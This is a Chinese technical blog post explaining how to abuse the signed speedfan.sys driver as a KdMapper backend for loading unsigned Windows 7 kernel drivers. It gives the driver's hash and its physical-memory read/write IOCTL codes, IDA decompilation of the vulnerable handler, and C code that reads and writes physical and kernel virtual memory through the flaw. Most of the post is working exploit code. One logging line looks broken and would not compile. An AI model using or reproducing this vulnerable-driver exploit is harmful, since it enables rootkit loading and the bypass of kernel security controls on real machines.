首页 > 其他分享 >2023年10月10日 KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)

2023年10月10日 KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)

时间:2023-10-11 11:00:31浏览次数:41  
标签:__ 10 int sys KdMapper ntStatus v5 SPEEDFAN PHYSICAL

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 speedfan.sys 
时间戳 50DF59B7
MD5 0FFE35F0B0CD5A324BBE22F02569AE3B
文件版本 2.3.11.0
设备名称 \\.\SpeedFan
读物理内存 0x9C402428
写物理内存 0x9C40242C
Windows 7 支持
Windows 10 不支持
Windows 11 不支持

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax

        v2 = BugCheckParameter2;
        if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                BugCheckParameter2 = v2;
        }
        BugCheckParameter3 = ~v2;
        return CreateDevice(DriverObject, RegistryPath);
}

 

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        NTSTATUS result; // eax
        _UNICODE_STRING* v5; // rdi
        size_t v6; // rax
        __int64 v7; // r8
        NTSTATUS v8; // eax
        NTSTATUS v9; // edi
        __int64 v10; // [rsp+20h] [rbp-38h]
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREF

        RtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);
        result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);
        if (result >= 0)
        {
                DeviceObject->Flags |= 4u;
                v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
                *(_DWORD*)&v5[2].Length = 0;
                *(_DWORD*)(&v5[2].MaximumLength + 1) = 0;
                LODWORD(v5[2].Buffer) = 0;
                v5[1].MaximumLength = RegistryPath->MaximumLength;
                v6 = RegistryPath->Length;
                v5[1].Buffer = &v5[7].Length;
                v5[1].Length = v6;
                memmove(&v5[7], RegistryPath->Buffer, v6);
                sub_175B4(v5);
                if ((int)sub_176C8(v5) >= 0)
                {
                        v7 = *(unsigned int*)&v5[2].Length;
                        if (_bittest((const int*)&v7, 0x1Du))
                        {
                                LODWORD(v10) = v5[2].Buffer;
                                DbgPrint(
                                        "SpeedFan %s  Built Dec 29 2012 21:59:34  Debug %08X  Break %08X  Setup %08X\n",
                                        aX20311,
                                        v7,
                                        *(unsigned int*)(&v5[2].MaximumLength + 1),
                                        v10);
                        }
                }
                v8 = IoCreateSymbolicLink(v5, &DestinationString);
                v9 = v8;
                if (v8 >= 0 || v8 == 0xC0000035)
                {
                        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;
                        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;
                        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;
                        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
                        result = 0;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                        result = v9;
                }
        }
        return result;
}

 

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rax
        int ntStatus; // ebx
        PHYSICAL_ADDRESS* pMemoryInfo; // rdi
        unsigned int nInputBufferLength; // er12
        SIZE_T nOutputBufferLength; // r13
        unsigned int nIoControlCode; // esi
   
        LONGLONG PhysicalAddressV31; // rbx
        PVOID pMappedIoSpaceV32; // rax
        void* pMappedIoSpaceV33; // r14
        LONGLONG PhysicalAddressV34; // rbx
        PVOID pMappedIoSpaceV35; // rax
        void* pMappedIoSpaceV36; // r14

        void* Dst; // [rsp+20h] [rbp-D8h]

        LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]
        LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]

        void* PhysicalAddress; // [rsp+100h] [rbp+8h]
        IRP* Irp; // [rsp+108h] [rbp+10h]

        Irp = pIrp;
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;

        pIrp->IoStatus.Information = 0i64;
        ntStatus = 0xC0000023;
        pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;

        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        ......
                switch (nIoControlCode)
                {
                case 0x9C402428:
                        if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存
                        {
                                PhysicalAddressV34 = pMemoryInfo->QuadPart;
                                PhysicalAddressV53 = pMemoryInfo->QuadPart;
                                pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);
                                pMappedIoSpaceV36 = pMappedIoSpaceV35;
                                *(_QWORD*)MajorVersion = pMappedIoSpaceV35;
                                if (pMappedIoSpaceV35)
                                {
                                        if (_bittest(v55, 0xEu))
                                        {
                                                LODWORD(v47) = nOutputBufferLength;
                                                DbgPrint(
                                                        "IOCTL_PHYMEM_READ       ofo %p  pad %08X_%08X  vad %p  siz %06X\n",
                                                        v51,
                                                        HIDWORD(PhysicalAddressV53),
                                                        (unsigned int)PhysicalAddressV34,
                                                        pMappedIoSpaceV35,
                                                        v47);
                                        }
                                        memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);
                                        Irp->IoStatus.Information = nOutputBufferLength;
                                        ntStatus = 0;
                                        v59 = 0;
                                        MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);
                                }
                                else
                                {
                                        ntStatus = 0xC0000088;
                                }
                        }
                        goto LABEL_145;
                case 0x9C40242C:
                        if (nInputBufferLength > 8)         // 写物理内存
                        {
                                PhysicalAddressV31 = pMemoryInfo->QuadPart;
                                PhysicalAddressV52 = pMemoryInfo->QuadPart;
                                nInputBufferLength -= 8;
                                pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);
                                pMappedIoSpaceV33 = pMappedIoSpaceV32;
                                *(_QWORD*)MajorVersion = pMappedIoSpaceV32;
                                if (pMappedIoSpaceV32)
                                {
                                        if (_bittest(v55, 0xEu))
                                        {
                                                LODWORD(v47) = nInputBufferLength;
                                                DbgPrint(
                                                        "IOCTL_PHYMEM_WRITE      ofo %p  pad %08X_%08X  vad %p  siz %06X\n",
                                                        v51,
                                                        HIDWORD(PhysicalAddressV52),
                                                        (unsigned int)PhysicalAddressV31,
                                                        pMappedIoSpaceV32,
                                                        v47);
                                        }
                                        memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);
                                        Irp->IoStatus.Information = 0i64;
                                        ntStatus = 0;
                                        v59 = 0;
                                        MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);
                                }
                                else
                                {
                                        ntStatus = 0xC0000088;
                                }
                        }
                        goto LABEL_145;

                LABEL_145:
                        if (ntStatus >= 0)
                                goto LABEL_149;
                        v5 = v51;
                        goto LABEL_147;
                }

        ......

LABEL_149:
        Irp->IoStatus.Status = ntStatus;
        IofCompleteRequest(Irp, 0);
        return (unsigned int)ntStatus;
}

  其中 0x9C402428 为读取物理内存, 0x9C40242C 为写入物理内存。

 

3.4 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

4. 代码实现

4.1 .h文件

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define SPEEDFAN_DEVICE_TYPE          (DWORD)0x9C40
#define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x90A
#define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B

#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY      \
    CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
#define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C

 

4.2 .c文件

NTSTATUS sokno_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL sokno_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;

        __try {

                if (DoWrite) 
                {
                        PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);
                        if (pWriteInfo)
                        {
                                pWriteInfo->QuadPart = PhysicalAddress;
                                RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);
                                if (!bResult)
                                {
                                        Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");
                                }
                        }
                        else
                        {
                                Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");
                        }
                }
                else {
                        PHYSICAL_ADDRESS address;
                        address.QuadPart = PhysicalAddress;
                        bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);
                        if (!bResult)
                        {
                                Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");
                        }
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }


        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

 

5. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

  

 

6.特别提示

  使用speedfan.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

标签:__,10,int,sys,KdMapper,ntStatus,v5,SPEEDFAN,PHYSICAL
From: https://www.cnblogs.com/ImprisonedSoul/p/17756539.html

相关文章

  • 冲刺只能跑100米 漫步却能走一万步或一万米
    飘风不终朝 骤雨不终日。意思就是说,狂风不会刮一个早晨,暴雨也不会下一整天。真正能够长久下去的,是梅雨季节的绵绵细雨。努力,不应该是一种时刻需要提醒自己去做的事情,而是一种早已嵌入生活中的习惯。短暂地刻意奔跑,只会迅速消耗完你的精神能量,然后让你迅速变得萎靡不振。相信......
  • 10月TIOBE榜Java跌出前三!要不我转回C#吧
    前言Java又要完了,又要没了,你没看错,10月编程语言榜单出炉,Java跌出前三,并且即将被C#超越,很多资深人士预测只需两个月,Java就会跌出前五。看到这样的文章,作为一名Java工程师我感到一阵发自灵魂的战栗,三魂丢了两魂,七魄去了六魄,现在已经躺在床上奄奄一息,对未来产生了极大的迷茫,眼泪不......
  • 《流畅的Python》 读书笔记 第二章数据结构(2) 231011
    2.5对序列使用+和*通常+号两侧的序列由相同类型的数据所构成,在拼接的过程中,两个被操作的序列都不会被修改,Python会新建一个包含同样类型数据的序列来作为拼接的结果+和*都遵循这个规律,不修改原有的操作对象,而是构建一个全新的序列l1=[1,2,3]l2=[4,5,6]print(id(l......
  • 10.10随笔
    →信条部分早起晚睡2/88,+0举止厚重13/360,,+1穴位按摩4/30,+1每日反省1/90,+0→学习部分[√]单词1872/2251仅余14天[√]跑步78/80km仅余1天→项目进度科一已过,周四开始准备科二。首先记录一首歌:郭源潮,不全能懂,但很有感觉,风月难舍,离合不骚。以前也听过这首歌,但......
  • 大二打卡(10.10)
    今天做了什么:数据结构,今天是稍微复习二叉树,然后学了二叉树的代码实现,以及二叉树的遍历,马原,矛盾统一,乱七八糟,感觉好多概念都很相似,但都有很奇怪的点是不同的,哲学真复杂,白话文小说,今天知道了西游记的发展变化和开篇西行起因,有意思,还跟朱棣有关系今天遇到了什么问题:建民老师的测试......
  • 2023_10_10_MYSQL_DAY_02_笔记
    2023_10_10_MYSQL_DAY_02_笔记#在FROM子句中使用子查询SELECTa.ename,a.sal,a.deptno,b.salavgFROMempa,(SELECTdeptno,AVG(sal)salavgFROMempGROUPBYdeptno)bWHEREa.deptno=b.deptnoANDa.sal>b.s......
  • 2023_10_10_MYSQL_DAY_02_课后题
    2023_10_10_MYSQL_DAY_02_课后题#06章1--7题#1.查询10号部门所有员工的员工姓名,员工工资,工资级别。SELECTe.ename员工姓名,e.`sal`员工工资,s.`grade`工资级别FROMempe,salgradesWHEREe.`deptno`=10ANDe.`sal`BETWEENs.`losal`ANDs.`hisal`;#2.查询2......
  • 10.9
    今天做了什么:今天上的java课的时候调试数据库真的很服,一直在弄服务器tomcat.连接数据库.然后回来继续进行调试.并且在网上搜索关于连接数据库的教程.关于黑马的web教程看了很多但是没有看到自己想要玩的.今天遇到了什么困难:数据库连接不上并且tomCAT服务器配置不好.难顶.明......
  • 每日总结20231010
    代码时间(包括上课)7h代码量(行):100行博客数量(篇):1篇相关事项:1、今天是周二,今天上午上的是大数据、习概,大数据讲的是MapReduce的原理,习概讲的是国家安全地展开。2、今天下午上机课,自己通过搜索成功的建立了c#的第一个程序。3、今天还打算看看软件设计师相关的题目,我要过,我要通过,......
  • vsvim config 2023-10-10 23:30:10
    "=Extensions=====================================Plug'tpope/vim-surround'Plug'preservim/nerdtree'"=Basicsettings=====================================setclipboard+=unnamedsetignorecasesetscrolloff=30sethis......